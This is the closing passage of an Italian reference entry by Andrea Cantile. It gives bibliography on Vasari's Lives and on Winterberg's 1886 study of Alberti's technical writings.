Vasari, Le vite de’ più eccellenti pittori scultori e architettori nelle redazioni del 1550 e 1568, testo a cura di Bettarini R., commento secolare a cura di Barocchi P., 6 voll., Firenze, Sansoni [poi SPES], 1966-1987;
Winterberg C., Albertis technische Schriften, in “Repertorium fur Kunstwisswnschaft“, VI, 1886, pp 326-356.

Rimandi ad altre schede:

Autore della scheda: Andrea Cantile